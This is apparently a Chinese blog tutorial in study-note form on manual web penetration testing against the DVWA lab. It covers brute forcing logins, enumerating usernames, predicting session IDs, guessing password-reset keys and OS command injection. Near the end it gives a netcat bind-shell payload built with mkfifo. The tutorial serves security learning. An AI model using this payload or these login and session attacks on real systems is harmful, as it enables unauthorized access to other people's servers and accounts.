zoukankan      html  css  js  c++  java
  • 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞

    手动漏洞挖掘

    ######################################################################################

    手动漏洞挖掘原则【会比自动扫描器发现的漏洞要多,要全面】

    1.每一个变量都进行尝试

    2.所有头【如:cookie中的变量】

    3.逐个变量删除

    ######################################################################################

    身份认证

    1、常用弱口令/基于字典的密码爆破

    2、锁定机制

    手工猜测,若无锁定机制,则进行爆破

    3、信息收集【分站上信息收集,猜测账号密码,如:用户光荣榜等。】

    手机号:对于隐藏部分的手机号,猜测其确切账号(手动输入,已知手机号,观察密码错误提示信息【如:用户名有误】,则爆破用户名)

    密码错误提示信息

    (burpsuite:观察返回信息内容【观察errorcode】)

    4、密码嗅探【在同一个网络下,可通过抓包分析,获取用户名密码】

    burpsuite演示

    0、关闭截断代理,在dvwa登录页面中使用错误账号登录,分析数据包

    a.账号密码都是错的

    b.账号正确,密码错误

    右键比较sent to compare

    ###通过比较,发现是否存在有价值的信息####

    若两次返回结果不一样,则基于comparer做Intruder【轰炸机】

     

    1、当无法使用账号密码登录时,转向会话sessionID/cookie

    a.跨站脚本结合社会工程学,获得cookie【后面再介绍】

    b.有些做得不好的web application会将SessionID放在URL中传输,可通过社工获得

    c.正常情况下SessionID会放在cookie或body中,可使用嗅探

    #嗅探注入【SessionID:一.以文件形式存在电脑;二.存在内存中(最常见)】

    #将SessionID注入浏览器

    注:留意SessionID存活时间,与是否每次登录都随机生成

    #SessionID生成算法

    #使用burpsuite中的sequencer对某站点的SessionID生成算法进行考量【若重复几率大或可判断算法】建议使用通用被验证的算法

    若使用不安全的私有算法,可以预判下一次登录时生成的SessionID

    2、密码找回场景

    找回密码链接:(举例)

    https://www.example.com/reset?email=user@example.com&key=b4c9a289323b21a01c3e940f150eb9b8c
    542587f1abfd8f0e1cc1ffc5e475514

    对key值进行观察猜测,如:字节。【128--MD5    160--SHA1    256--SHA256】

    ###有可能是根据邮箱账号,进行了加密的算法,经修改后,可直接重设密码

    当有限登录一个账号密码后,进行手动爬网,自动扫描

    #操作系统任意命令执行漏洞

    a.过滤,只显示有参数的请求

    b.使用Repeater测试

    逐步删除无用变量,试出可影响页面内容的变量

    对符号型输入,先进行编码

    ##没对输入变量进行过滤

    命令行模式下使用的命令,可通过源码查看过滤

    #medium级别

    shell命令掌握技能和技巧

    “&”:并行执行命令

    “|”:管道符

    “||”:前面命令执行失败,执行后面的命令

    “curl”:命令行模式下,定制URL,发起http请求

    #high级别

    c.利用这种漏洞,可使其执行开放端口等操作

    如:;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe

    d.反弹shell

    shell脚本在哪台机器的应用服务上,就会返回哪台机器的shell

  • 相关阅读:
    javascript第七章--DOM
    javascript第六章--BOM
    javascript第五章--函数表达式
    javascript第四章--面向对象的程序设计
    javascript第三章--引用类型
    javascript第二章--变量、作用域和内存问题
    Java 成员变量的区分
    equals 与"=="的区别
    java 基础数据类型
    一个带倒计时按钮的代码片段
  • 原文地址:https://www.cnblogs.com/zixuanfy/p/5988740.html
Copyright © 2011-2022 走看看